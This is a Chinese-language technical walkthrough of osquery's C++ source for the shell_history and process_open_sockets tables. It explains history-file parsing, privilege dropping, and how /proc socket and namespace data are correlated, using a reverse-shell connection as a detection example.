table_name("shell_history")
description("A line-delimited (command) table of per-user .*_history data.")
schema([
    Column("uid", BIGINT, "Shell history owner", additional=True),
    Column("time", INTEGER, "Entry timestamp. It could be absent, default value is 0."),
    Column("command", TEXT, "Unparsed date/line/command history line"),
    Column("history_file", TEXT, "Path to the .*_history for this user"),
    ForeignKey(column="uid", table="users"),
])
attributes(user_data=True, no_pkey=True)
implementation("shell_history@genShellHistory")
examples([
    "select * from users join shell_history using (uid)",
])
fuzz_paths([
    "/home",
    "/Users",
])s

shell_history.table中已经定义了相关的信息,入口是shell_history.cpp中的genShellHistory()函数,甚至给出了示例的SQL语句select * from users join shell_history using (uid)shell_history.cpp是位于osquery/tables/system/posix/shell_history.cpp中。

同理,process_open_sockets的表定义位于specs/process_open_sockets.table,实现位于osquery/tables/networking/[linux|freebsd|windows]/process_open_sockets.cpp。可以看到由于process_open_sockets在多个平台上面都有,所以在linux/freebsd/windows中都存在process_open_sockets.cpp的实现。本文主要是以linux为例。

shell_history实现

前提知识

在分析之前,介绍一下Linux中的一些基本概念。我们常常会看到各种不同的unix shell,如bash、zsh、tcsh、sh等等。bash是我们目前最常见的,它几乎是所有的类unix操作中内置的一个shell。而zsh相对于bash增加了更多的功能。我们在终端输入各种命令时,其实都是使用的这些shell。

我们在用户的根目录下方利用ls -all就可以发现存在.bash_history文件,此文件就记录了我们在终端中输入的所有的命令。同样地,如果我们使用zsh,则会存在一个.zsh_history记录我们的命令。

同时在用户的根目录下还存在.bash_sessions的目录,根据这篇文章的介绍:

A new folder (~/.bash_sessions/) is used to store HISTFILE’s and .session files that are unique to sessions. If $BASH_SESSION or $TERM_SESSION_ID is set upon launching the shell (i.e. if Terminal is resuming from a saved state), the associated HISTFILE is merged into the current one, and the .session file is ran. Session saving is facilitated by means of an EXIT trap being set for a function bash_update_session_state.

.bash_sessions中存储了特定SESSION的HISTFILE和.session文件。如果在启动shell时设置了$BASH_SESSION$TERM_SESSION_ID。当此特定的SESSION启动了之后就会利用$BASH_SESSION$TERM_SESSION_ID恢复之前的状态。这也说明在.bash_sessions目录下也会存在*.history用于记录特定SESSION的历史命令信息。

分析

QueryData genShellHistory(QueryContext& context) {
    QueryData results;
    // Iterate over each user
    QueryData users = usersFromContext(context);
    for (const auto& row : users) {
        auto uid = row.find("uid");
        auto gid = row.find("gid");
        auto dir = row.find("directory");
        if (uid != row.end() && gid != row.end() && dir != row.end()) {
            genShellHistoryForUser(uid->second, gid->second, dir->second, results);
            genShellHistoryFromBashSessions(uid->second, dir->second, results);
        }
    }

    return results;
}

分析shell_history.cpp的入口函数genShellHistory():

遍历所有的用户,拿到uidgiddirectory。之后调用genShellHistoryForUser()获取用户的shell记录genShellHistoryFromBashSessions()genShellHistoryForUser()作用类似。

genShellHistoryForUser():

void genShellHistoryForUser(const std::string& uid, const std::string& gid, const std::string& directory, QueryData& results) {
    auto dropper = DropPrivileges::get();
    if (!dropper->dropTo(uid, gid)) {
        VLOG(1) << "Cannot drop privileges to UID " << uid;
        return;
    }

    for (const auto& hfile : kShellHistoryFiles) {
        boost::filesystem::path history_file = directory;
        history_file /= hfile;
        genShellHistoryFromFile(uid, history_file, results);
    }
}

可以看到在执行之前调用了:

auto dropper = DropPrivileges::get();
if (!dropper->dropTo(uid, gid)) {
    VLOG(1) << "Cannot drop privileges to UID " << uid;
    return;
}

用于对giduid降权,为什么要这么做呢?后来询问外国网友,给了一个很详尽的答案:

Think about a scenario where you are a malicious user and you spotted a vulnerability(buffer overflow) which none of us has. In the code (osquery which is running usually with root permission) you also know that history files(controlled by you) are being read by code(osquery). Now you stored a shell code (a code which is capable of destroying anything in the system)such a way that it would overwrite the saved rip. So once the function returns program control is with the injected code(shell code) with root privilege. With dropping privilege you reduce the chance of putting entire system into danger.

There are other mitigation techniques (e.g. stack guard) to avoid above scenario but multiple defenses are required

简而言之,osquery一般都是使用root权限运行的,如果攻击者在.bash_history中注入了一段恶意的shellcode代码。那么当osquery读到了这个文件之后,攻击者就能够获取到root权限了,所以通过降权的方式就能够很好地避免这样的问题。

/**
* @brief The privilege/permissions dropper deconstructor will restore
* effective permissions.
*
* There should only be a single drop of privilege/permission active.
*/
virtual ~DropPrivileges();

可以看到当函数被析构之后,就会重新恢复对应文件的权限。

之后遍历kShellHistoryFiles文件,执行genShellHistoryFromFile()代码。kShellHistoryFiles在之前已经定义,内容是:

const std::vector<std::string> kShellHistoryFiles = {
    ".bash_history", ".zsh_history", ".zhistory", ".history", ".sh_history",
};

可以发现其实在kShellHistoryFiles定义的就是常见的bash用于记录shell history目录的文件。最后调用genShellHistoryFromFile()读取.history文件,解析数据。

void genShellHistoryFromFile(const std::string& uid, const boost::filesystem::path& history_file, QueryData& results) {
    std::string history_content;
    if (forensicReadFile(history_file, history_content).ok()) {
        auto bash_timestamp_rx = xp::sregex::compile("^#(?P<timestamp>[0-9]+)$");
        auto zsh_timestamp_rx = xp::sregex::compile("^: {0,10}(?P<timestamp>[0-9]{1,11}):[0-9]+;(?P<command>.*)$");
        std::string prev_bash_timestamp;
        for (const auto& line : split(history_content, "\n")) {
            xp::smatch bash_timestamp_matches;
            xp::smatch zsh_timestamp_matches;

            if (prev_bash_timestamp.empty() &&
                xp::regex_search(line, bash_timestamp_matches, bash_timestamp_rx)) {
                prev_bash_timestamp = bash_timestamp_matches["timestamp"];
                continue;
            }

            Row r;

            if (!prev_bash_timestamp.empty()) {
                r["time"] = INTEGER(prev_bash_timestamp);
                r["command"] = line;
                prev_bash_timestamp.clear();
            } else if (xp::regex_search(
                    line, zsh_timestamp_matches, zsh_timestamp_rx)) {
                std::string timestamp = zsh_timestamp_matches["timestamp"];
                r["time"] = INTEGER(timestamp);
                r["command"] = zsh_timestamp_matches["command"];
            } else {
                r["time"] = INTEGER(0);
                r["command"] = line;
            }

            r["uid"] = uid;
            r["history_file"] = history_file.string();
            results.push_back(r);
        }
    }
}

整个代码逻辑非常地清晰。

  1. forensicReadFile(history_file, history_content)读取文件内容。
  2. 定义bash_timestamp_rxzsh_timestamp_rx的正则表达式,用于解析对应的.history文件的内容。 for (const auto& line : split(history_content, "\n"))读取文件的每一行,分别利用bash_timestamp_rxzsh_timestamp_rx解析每一行的内容。
  3. Row r;...;r["history_file"] = history_file.string();results.push_back(r);将解析之后的内容写入到Row中返回。

自此就完成了shell_history的解析工作。执行select * from shell_history就会按照上述的流程返回所有的历史命令的结果。

对于genShellHistoryFromBashSessions()函数:

void genShellHistoryFromBashSessions(const std::string &uid,const std::string &directory,QueryData &results) {
    boost::filesystem::path bash_sessions = directory;
    bash_sessions /= ".bash_sessions";

    if (pathExists(bash_sessions)) {
        bash_sessions /= "*.history";
        std::vector <std::string> session_hist_files;
        resolveFilePattern(bash_sessions, session_hist_files);

        for (const auto &hfile : session_hist_files) {
            boost::filesystem::path history_file = hfile;
            genShellHistoryFromFile(uid, history_file, results);
        }
    }
}

genShellHistoryFromBashSessions()获取历史命令的方法比较简单。

  1. 获取到.bash_sessions/*.history所有的文件;
  2. 同样调用genShellHistoryFromFile(uid, history_file, results);方法获取到历史命令;

总结

阅读一些优秀的开源软件的代码,不仅能够学习到相关的知识更能够了解到一些设计哲学。拥有快速学习能⼒的⽩帽子,是不能有短板的。有的只是⼤量的标准板和⼏块长板。

osquery源码解读之分析process_open_socket

$
0
0

说明

上篇文章主要是对shell_history的实现进行了分析。通过分析可以发现,osquery良好的设计使得源码简单易读。shell_history的整体实现也比较简单,通过读取并解析.bash_history中的内容,获得用户输入的历史命令。本文分析的是process_open_sockets,相比较而言实现更加复杂,对Linux也需要有更深的了解。

使用说明

首先查看process_open_sockets表的定义:

table_name("process_open_sockets")
description("Processes which have open network sockets on the system.")
schema([
    Column("pid", INTEGER, "Process (or thread) ID", index=True),
    Column("fd", BIGINT, "Socket file descriptor number"),
    Column("socket", BIGINT, "Socket handle or inode number"),
    Column("family", INTEGER, "Network protocol (IPv4, IPv6)"),
    Column("protocol", INTEGER, "Transport protocol (TCP/UDP)"),
    Column("local_address", TEXT, "Socket local address"),
    Column("remote_address", TEXT, "Socket remote address"),
    Column("local_port", INTEGER, "Socket local port"),
    Column("remote_port", INTEGER, "Socket remote port"),
    Column("path", TEXT, "For UNIX sockets (family=AF_UNIX), the domain path"),
])
extended_schema(lambda: LINUX() or DARWIN(), [
    Column("state", TEXT, "TCP socket state"),
])
extended_schema(LINUX, [
    Column("net_namespace", TEXT, "The inode number of the network namespace"),
])
implementation("system/process_open_sockets@genOpenSockets")
examples([
  "select * from process_open_sockets where pid = 1",
])

其中有几个列名需要说明一下:

  • fd,表示文件描述符
  • socket,进行网络通讯时,socket通信对应的inode number
  • family,表示是IPv4/IPv6,最后的结果是以数字的方式展示
  • protocol,表示是TCP/UDP。

我们进行一个简单的反弹shell的操作,然后使用查询process_open_sockets表的信息。

osquery> select pos.*,p.cwd,p.cmdline from process_open_sockets pos left join processes p where pos.family=2 and pos.pid=p.pid and net_namespace<>0;
+-------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+-----------------+-----------+
| pid   | fd | socket   | family | protocol | local_address | remote_address | local_port | remote_port | path | state       | net_namespace | cwd             | cmdline   |
+-------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+-----------------+-----------+
| 37272 | 15 | 52319299 | 2      | 6        | 192.168.2.142 | 172.22.0.176   | 43522      | 9091        |      | ESTABLISHED | 4026531956    | /home/xingjun   | osqueryi  |
| 91155 | 2  | 56651533 | 2      | 6        | 192.168.2.142 | 192.168.2.150  | 53486      | 8888        |      | ESTABLISHED | 4026531956    | /proc/79036/net | /bin/bash |
+-------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+-----------------+-----------+

process_open_sockets表的实现是位于osquery/tables/networking/linux/process_open_sockets.cpp中。

分析

process_open_sockets的实现全部是在QueryData genOpenSockets(QueryContext &context)一个方法中。

官方给出的分析步骤是:

Data for this table is fetched from 3 different sources and correlated.

1.Collect all sockets associated with each pid by going through all files under /proc/<pid>/fd and search for links of the type socket:[<inode>]. Extract the inode and fd (filename) and index it by inode number. The inode can then be used to correlate pid and fd with the socket information collected on step 3. The map generated in this step will only contain sockets associated with pids in the list, so it will also be used to filter the sockets later if pid_filter is set.

2.Collect the inode for the network namespace associated with each pid. Every time a new namespace is found execute step 3 to get socket basic information.

3.Collect basic socket information for all sockets under a specifc network namespace. This is done by reading through files under /proc/<pid>/net for the first pid we find in a certain namespace. Notice this will collect information for all sockets on the namespace not only for sockets associated with the specific pid, therefore only needs to be run once. From this step we collect the inodes of each of the sockets, and will use that to correlate the socket information with the information collect on steps 1 and 2.

其实大致步骤就是:

  1. 收集进程所对应的fd信息,尤其是socketinode信息;
  2. 收集进程的namespaceinode信息;
  3. 读取/proc/<pid>/net中的信息,与第一步中的socketinode信息进行比对,找出pid所对应的网络连接信息。

为了方便说明,我对整个函数的代码进行切割,分步说明。

获取pid信息

std::set <std::string> pids;
if (context.constraints["pid"].exists(EQUALS)) {
    pids = context.constraints["pid"].getAll(EQUALS);
}

bool pid_filter = !(pids.empty() ||
                    std::find(pids.begin(), pids.end(), "-1") != pids.end());

if (!pid_filter) {
    pids.clear();
    status = osquery::procProcesses(pids);
    if (!status.ok()) {
        VLOG(1) << "Failed to acquire pid list: " << status.what();
        return results;
    }
}
  • 前面的context.constraints["pid"].exists(EQUALS)pid_filter为了判断在SQL语句中是否存在where子句以此拿到选择的pid
  • 调用status = osquery::procProcesses(pids);拿到对应的PID信息。

跟踪进入到osquery/filesystem/linux/proc.cpp:procProcesses(std::set<std::string>& processes):

Status procProcesses(std::set<std::string>& processes) {
  auto callback = [](const std::string& pid,
                     std::set<std::string>& _processes) -> bool {
    _processes.insert(pid);
    return true;
  };

  return procEnumerateProcesses<decltype(processes)>(processes, callback);
}

继续跟踪进入到osquery/filesystem/linux/proc.h:procEnumerateProcesses(UserData& user_data,bool (*callback)(const std::string&, UserData&))

const std::string kLinuxProcPath = "/proc";
.....
template<typename UserData>
Status procEnumerateProcesses(UserData &user_data,bool (*callback)(const std::string &, UserData &)) {
    boost::filesystem::directory_iterator it(kLinuxProcPath), end;

    try {
        for (; it != end; ++it) {
            if (!boost::filesystem::is_directory(it->status())) {
                continue;
            }

            // See #792: std::regex is incomplete until GCC 4.9
            const auto &pid = it->path().leaf().string();
            if (std::atoll(pid.data()) <= 0) {
                continue;
            }

            bool ret = callback(pid, user_data);
            if (ret == false) {
                break;
            }
        }
    } catch (const boost::filesystem::filesystem_error &e) {
        VLOG(1) << "Exception iterating Linux processes: " << e.what();
        return Status(1, e.what());
    }

    return Status(0);
}
  • boost::filesystem::directory_iterator it(kLinuxProcPath), end;遍历/proc目录下面所有的文件,
  • const auto &pid = it->path().leaf().string();..; bool ret = callback(pid, user_data);,通过it->path().leaf().string()判断是否为数字,之后调用bool ret = callback(pid, user_data);
  • callback方法_processes.insert(pid);return true;将查询到的pid全部记录到user_data中。

以一个反弹shell的例子为例,使用osqueryi查询到的信息如下:

osquery> select * from process_open_sockets where pid=14960; 
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+
| pid   | fd | socket | family | protocol | local_address | remote_address | local_port | remote_port | path | state       | net_namespace |
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+
| 14960 | 2  | 307410 | 2      | 6        | 192.168.2.156 | 192.168.2.145  | 51118      | 8888        |      | ESTABLISHED | 4026531956    |
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+

获取进程对应的pid和fd信息

/* Use a set to record the namespaces already processed */
std::set <ino_t> netns_list;
SocketInodeToProcessInfoMap inode_proc_map;
SocketInfoList socket_list;
for (const auto &pid : pids) {
    /* Step 1 */
    status = procGetSocketInodeToProcessInfoMap(pid, inode_proc_map);
    if (!status.ok()) {
        VLOG(1) << "Results for process_open_sockets might be incomplete. Failed "
                    "to acquire socket inode to process map for pid "
                << pid << ": " << status.what();
    }

在拿到所有的需要查询的pid信息之后,调用status = procGetSocketInodeToProcessInfoMap(pid, inode_proc_map);,顾名思义就是用于获取进程所对应的socket inode编号。进入到osquery/filesystem/linux/proc.cpp:procGetSocketInodeToProcessInfoMap()中:

Status procGetSocketInodeToProcessInfoMap(const std::string &pid,SocketInodeToProcessInfoMap &result) {
    auto callback = [](const std::string &_pid,
                        const std::string &fd,
                        const std::string &link,
                        SocketInodeToProcessInfoMap &_result) -> bool {
        /* We only care about sockets. But there will be other descriptors. */
        if (link.find("socket:[") != 0) {
            return true;
        }

        std::string inode = link.substr(8, link.size() - 9);
        _result[inode] = {_pid, fd};
        return true;
    };

    return procEnumerateProcessDescriptors<decltype(result)>(
            pid, result, callback);
}

其中的auto callback定义的是一个回调函数,进入到procEnumerateProcessDescriptors()中分析:

const std::string kLinuxProcPath = "/proc";
....
template<typename UserData>
Status procEnumerateProcessDescriptors(const std::string &pid,
                                        UserData &user_data,
                                        bool (*callback)(const std::string &pid,
                                                        const std::string &fd,
                                                        const std::string &link,
                                                        UserData &user_data)) {
    std::string descriptors_path = kLinuxProcPath + "/" + pid + "/fd";

    try {
        boost::filesystem::directory_iterator it(descriptors_path), end;

        for (; it != end; ++it) {
            auto fd = it->path().leaf().string();

            std::string link;
            Status status = procReadDescriptor(pid, fd, link);
            if (!status.ok()) {
                VLOG(1) << "Failed to read the link for file descriptor " << fd
                        << " of pid " << pid << ". Data might be incomplete.";
            }

            bool ret = callback(pid, fd, link, user_data);
            if (ret == false) {
                break;
            }
        }
    } catch (boost::filesystem::filesystem_error &e) {
        VLOG(1) << "Exception iterating process file descriptors: " << e.what();
        return Status(1, e.what());
    }

    return Status(0);
}

这个代码写得十分清晰。

1.遍历/proc/pid/fd,拿到所有的文件描述符。在本例中即为/proc/14960/fd

1.jpg

2.回调bool ret = callback(pid, fd, link, user_data);,即之前在procGetSocketInodeToProcessInfoMap中定义的:

auto callback = [](const std::string &_pid,
                    const std::string &fd,
                    const std::string &link,
                    SocketInodeToProcessInfoMap &_result) -> bool {
    /* We only care about sockets. But there will be other descriptors. */
    if (link.find("socket:[") != 0) {
        return true;
    }

    std::string inode = link.substr(8, link.size() - 9);
    _result[inode] = {_pid, fd};
    return true;
};

代码也十分地简单,拿到fd所对应的link,检查是否存在socket:[,如果存在获取对应的inode。由于查询的是process_open_sockets,所以我们仅仅只关心存在socket的link,在本例中就是307410。最终在SocketInodeToProcessInfoMap中的结构就是_result[inode] = {_pid, fd};。以inode作为key,包含了pidfd的信息。

获取进程对应的ns信息

在上一步status = procGetSocketInodeToProcessInfoMap(pid, inode_proc_map);执行完毕之后,得到_result[inode] = {_pid, fd};。将inodepidfd进行了关联。接下里就是解析进程对应的ns信息。

ino_t ns;
ProcessNamespaceList namespaces;
status = procGetProcessNamespaces(pid, namespaces, {"net"});
if (status.ok()) {
    ns = namespaces["net"];
} else {
    /* If namespaces are not available we allways set ns to 0 and step 3 will
        * run once for the first pid in the list.
        */
    ns = 0;
    VLOG(1) << "Results for the process_open_sockets might be incomplete."
                "Failed to acquire network namespace information for process "
                "with pid "
            << pid << ": " << status.what();
}
跟踪进入到`status = procGetProcessNamespaces(pid, namespaces, {"net"});`,进入到`osquery/filesystem/linux/proc.cpp:procGetProcessNamespaces()`
const std::string kLinuxProcPath = "/proc";
...
Status procGetProcessNamespaces(const std::string &process_id,ProcessNamespaceList &namespace_list,std::vector <std::string> namespaces) {
    namespace_list.clear();
    if (namespaces.empty()) {
        namespaces = kUserNamespaceList;
    }
    auto process_namespace_root = kLinuxProcPath + "/" + process_id + "/ns";
    for (const auto &namespace_name : namespaces) {
        ino_t namespace_inode;
        auto status = procGetNamespaceInode(namespace_inode, namespace_name, process_namespace_root);
        if (!status.ok()) {
            continue;
        }
        namespace_list[namespace_name] = namespace_inode;
    }
    return Status(0, "OK");
}

遍历const auto &namespace_name : namespaces,之后进入到process_namespace_root中,调用procGetNamespaceInode(namespace_inode, namespace_name, process_namespace_root);进行查询。在本例中namespaces{"net"},process_namespace_root/proc/14960/ns

分析procGetNamespaceInode(namespace_inode, namespace_name, process_namespace_root):

Status procGetNamespaceInode(ino_t &inode,const std::string &namespace_name,const std::string &process_namespace_root) {
    inode = 0;
    auto path = process_namespace_root + "/" + namespace_name;
    char link_destination[PATH_MAX] = {};
    auto link_dest_length = readlink(path.data(), link_destination, PATH_MAX - 1);
    if (link_dest_length < 0) {
        return Status(1, "Failed to retrieve the inode for namespace " + path);
    }

    // The link destination must be in the following form: namespace:[inode]
    if (std::strncmp(link_destination,
                        namespace_name.data(),
                        namespace_name.size()) != 0 ||
        std::strncmp(link_destination + namespace_name.size(), ":[", 2) != 0) {
        return Status(1, "Invalid descriptor for namespace " + path);
    }

    // Parse the inode part of the string; strtoull should return us a pointer
    // to the closing square bracket
    const char *inode_string_ptr = link_destination + namespace_name.size() + 2;
    char *square_bracket_ptr = nullptr;

    inode = static_cast<ino_t>(
            std::strtoull(inode_string_ptr, &square_bracket_ptr, 10));
    if (inode == 0 || square_bracket_ptr == nullptr ||
        *square_bracket_ptr != ']') {
        return Status(1, "Invalid inode value in descriptor for namespace " + path);
    }

    return Status(0, "OK");
}

根据procGetProcessNamespaces()中定义的相关变量,得到path是/proc/pid/ns/net,在本例中是/proc/14960/ns/net。通过inode = static_cast<ino_t>(std::strtoull(inode_string_ptr, &square_bracket_ptr, 10));,解析/proc/pid/ns/net所对应的inode。在本例中:

2.jpg

所以取到的inode4026531956。之后在procGetProcessNamespaces()中执行namespace_list[namespace_name] = namespace_inode;,所以namespace_list['net']=4026531956。最终ns = namespaces["net"];,所以得到的ns=4026531956

解析进程的net信息

// Linux proc protocol define to net stats file name.
const std::map<int, std::string> kLinuxProtocolNames = {
        {IPPROTO_ICMP,    "icmp"},
        {IPPROTO_TCP,     "tcp"},
        {IPPROTO_UDP,     "udp"},
        {IPPROTO_UDPLITE, "udplite"},
        {IPPROTO_RAW,     "raw"},
};
...
if (netns_list.count(ns) == 0) {
    netns_list.insert(ns);

    /* Step 3 */
    for (const auto &pair : kLinuxProtocolNames) {
        status = procGetSocketList(AF_INET, pair.first, ns, pid, socket_list);
        if (!status.ok()) {
            VLOG(1)
                    << "Results for process_open_sockets might be incomplete. Failed "
                        "to acquire basic socket information for AF_INET "
                    << pair.second << ": " << status.what();
        }

        status = procGetSocketList(AF_INET6, pair.first, ns, pid, socket_list);
        if (!status.ok()) {
            VLOG(1)
                    << "Results for process_open_sockets might be incomplete. Failed "
                        "to acquire basic socket information for AF_INET6 "
                    << pair.second << ": " << status.what();
        }
    }
    status = procGetSocketList(AF_UNIX, IPPROTO_IP, ns, pid, socket_list);
    if (!status.ok()) {
        VLOG(1)
                << "Results for process_open_sockets might be incomplete. Failed "
                    "to acquire basic socket information for AF_UNIX: "
                << status.what();
    }
}

对于icmp/tcp/udp/udplite/raw会调用status = procGetSocketList(AF_INET|AF_INET6|AF_UNIX, pair.first, ns, pid, socket_list);。我们这里仅仅以procGetSocketList(AF_INET, pair.first, ns, pid, socket_list);进行说明(其中的ns就是4026531956)。

Status procGetSocketList(int family, int protocol,ino_t net_ns,const std::string &pid, SocketInfoList &result) {
    std::string path = kLinuxProcPath + "/" + pid + "/net/";

    switch (family) {
        case AF_INET:
            if (kLinuxProtocolNames.count(protocol) == 0) {
                return Status(1,"Invalid family " + std::to_string(protocol) +" for AF_INET familiy");
            } else {
                path += kLinuxProtocolNames.at(protocol);
            }
            break;

        case AF_INET6:
            if (kLinuxProtocolNames.count(protocol) == 0) {
                return Status(1,"Invalid protocol " + std::to_string(protocol) +" for AF_INET6 familiy");
            } else {
                path += kLinuxProtocolNames.at(protocol) + "6";
            }
            break;

        case AF_UNIX:
            if (protocol != IPPROTO_IP) {
                return Status(1,
                                "Invalid protocol " + std::to_string(protocol) +
                                " for AF_UNIX familiy");
            } else {
                path += "unix";
            }

            break;

        default:
            return Status(1, "Invalid family " + std::to_string(family));
    }

    std::string content;
    if (!osquery::readFile(path, content).ok()) {
        return Status(1, "Could not open socket information from " + path);
    }

    Status status(0);
    switch (family) {
        case AF_INET:
        case AF_INET6:
            status = procGetSocketListInet(family, protocol, net_ns, path, content, result);
            break;

        case AF_UNIX:
            status = procGetSocketListUnix(net_ns, path, content, result);
            break;
    }

    return status;
}

由于我们的传参是family=AF_INET,protocol=tcp,net_ns=4026531956,pid=14960。执行流程如下:

1.path += kLinuxProtocolNames.at(protocol);,得到path是/proc/14960/net/tcp

2.osquery::readFile(path, content).ok(),读取文件内容,即/proc/14960/net/tcp所对应的文件内容。在本例中是:

sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
0: 00000000:1538 00000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 26488 1 ffff912c69c21740 100 0 0 10 0
1: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28721 1 ffff912c69c23640 100 0 0 10 0
2: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27739 1 ffff912c69c21f00 100 0 0 10 0
3: 0100007F:18EB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   988        0 25611 1 ffff912c69c207c0 100 0 0 10 0
4: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27737 1 ffff912c69c226c0 100 0 0 10 0
5: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 29031 1 ffff912c69c23e00 100 0 0 10 0
6: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25754 1 ffff912c69c20f80 100 0 0 10 0
7: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25590 1 ffff912c69c20000 100 0 0 10 0
8: 9C02A8C0:C7AE 9102A8C0:22B8 01 00000000:00000000 00:00000000 00000000  1000

3.执行procGetSocketListInet(family, protocol, net_ns, path, content, result);

分析

static Status procGetSocketListInet(int family,int protocol,ino_t net_ns,const std::string &path,const std::string &content,SocketInfoList &result) {
    // The system's socket information is tokenized by line.
    bool header = true;
    for (const auto &line : osquery::split(content, "\n")) {
        if (header) {
            if (line.find("sl") != 0 && line.find("sk") != 0) {
                return Status(1, std::string("Invalid file header for ") + path);
            }
            header = false;
            continue;
        }

        // The socket information is tokenized by spaces, each a field.
        auto fields = osquery::split(line, " ");
        if (fields.size() < 10) {
            VLOG(1) << "Invalid socket descriptor found: '" << line
                    << "'. Skipping this entry";
            continue;
        }

        // Two of the fields are the local/remote address/port pairs.
        auto locals = osquery::split(fields[1], ":");
        auto remotes = osquery::split(fields[2], ":");

        if (locals.size() != 2 || remotes.size() != 2) {
            VLOG(1) << "Invalid socket descriptor found: '" << line
                    << "'. Skipping this entry";
            continue;
        }

        SocketInfo socket_info = {};
        socket_info.socket = fields[9];
        socket_info.net_ns = net_ns;
        socket_info.family = family;
        socket_info.protocol = protocol;
        socket_info.local_address = procDecodeAddressFromHex(locals[0], family);
        socket_info.local_port = procDecodePortFromHex(locals[1]);
        socket_info.remote_address = procDecodeAddressFromHex(remotes[0], family);
        socket_info.remote_port = procDecodePortFromHex(remotes[1]);

        if (protocol == IPPROTO_TCP) {
            char *null_terminator_ptr = nullptr;
            auto integer_socket_state =
                    std::strtoull(fields[3].data(), &null_terminator_ptr, 16);
            if (integer_socket_state == 0 ||
                integer_socket_state >= tcp_states.size() ||
                null_terminator_ptr == nullptr || *null_terminator_ptr != 0) {
                socket_info.state = "UNKNOWN";
            } else {
                socket_info.state = tcp_states[integer_socket_state];
            }
        }

        result.push_back(std::move(socket_info));
    }

    return Status(0);
}

整个执行流程如下:

1.const auto &line : osquery::split(content, "\n");.. auto fields = osquery::split(line, " ");解析文件,读取每一行的内容。对每一行采用空格分割;

2.解析信息

SocketInfo socket_info = {};
socket_info.socket = fields[9];
socket_info.net_ns = net_ns;
socket_info.family = family;
socket_info.protocol = protocol;
socket_info.local_address = procDecodeAddressFromHex(locals[0], family);
socket_info.local_port = procDecodePortFromHex(locals[1]);
socket_info.remote_address = procDecodeAddressFromHex(remotes[0], family);
socket_info.remote_port = procDecodePortFromHex(remotes[1]);

解析/proc/14960/net/tcp文件中的每一行,分别填充至socket_info结构中。但是在/proc/14960/net/tcp并不是所有的信息都是我们需要的,我们还需要对信息进行过滤。可以看到最后一条的inode307410才是我们需要的。

获取进程连接信息

将解析完毕/proc/14960/net/tcp获取socket_info之后,继续执行genOpenSockets()中的代码。

    auto proc_it = inode_proc_map.find(info.socket);
    if (proc_it != inode_proc_map.end()) {
        r["pid"] = proc_it->second.pid;
        r["fd"] = proc_it->second.fd;
    } else if (!pid_filter) {
        r["pid"] = "-1";
        r["fd"] = "-1";
    } else {
        /* If we're filtering by pid we only care about sockets associated with
            * pids on the list.*/
        continue;
    }

    r["socket"] = info.socket;
    r["family"] = std::to_string(info.family);
    r["protocol"] = std::to_string(info.protocol);
    r["local_address"] = info.local_address;
    r["local_port"] = std::to_string(info.local_port);
    r["remote_address"] = info.remote_address;
    r["remote_port"] = std::to_string(info.remote_port);
    r["path"] = info.unix_socket_path;
    r["state"] = info.state;
    r["net_namespace"] = std::to_string(info.net_ns);

    results.push_back(std::move(r));
}

其中关键代码是:

auto proc_it = inode_proc_map.find(info.socket);
if (proc_it != inode_proc_map.end()) {

通过遍历socket_list,判断在第一步保存在inode_proc_map中的inode信息与info中的inode信息是否一致,如果一致,说明就是我们需要的那个进程的网络连接的信息。最终保存我们查询到的信息results.push_back(std::move(r));
到这里,我们就查询到了进程的所有的网络连接的信息。最终通过osquery展现。

osquery> select * from process_open_sockets where pid=14960; 
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+
| pid   | fd | socket | family | protocol | local_address | remote_address | local_port | remote_port | path | state       | net_namespace |
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+
| 14960 | 2  | 307410 | 2      | 6        | 192.168.2.156 | 192.168.2.145  | 51118      | 8888        |      | ESTABLISHED | 4026531956    |
+-------+----+--------+--------+----------+---------------+----------------+------------+-------------+------+-------------+---------------+

以上就是整个osquery执行process_open_sockets表查询的整个流程。

扩展

Linux一些皆文件的特性,使得我们能够通过读取Linux下某些文件信息获取系统/进程所有的信息。在前面我们仅仅是从osquery的角度来分析的。本节主要是对Linux中的与网络有关、进程相关的信息进行说明。

/proc/net/tcp/proc/net/udp中保存了当前系统中所有的进程信息,与/proc/pid/net/tcp或者是/proc/pid/net/udp中保存的信息完全相同。

/proc/net/tcp信息如下:

sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
0: 00000000:1538 00000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 26488 1 ffff912c69c21740 100 0 0 10 0
1: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28721 1 ffff912c69c23640 100 0 0 10 0
2: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27739 1 ffff912c69c21f00 100 0 0 10 0
3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 471681 1 ffff912c37488f80 100 0 0 10 0
4: 0100007F:18EB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   988        0 25611 1 ffff912c69c207c0 100 0 0 10 0
5: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27737 1 ffff912c69c226c0 100 0 0 10 0
6: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 29031 1 ffff912c69c23e00 100 0 0 10 0
7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25754 1 ffff912c69c20f80 100 0 0 10 0
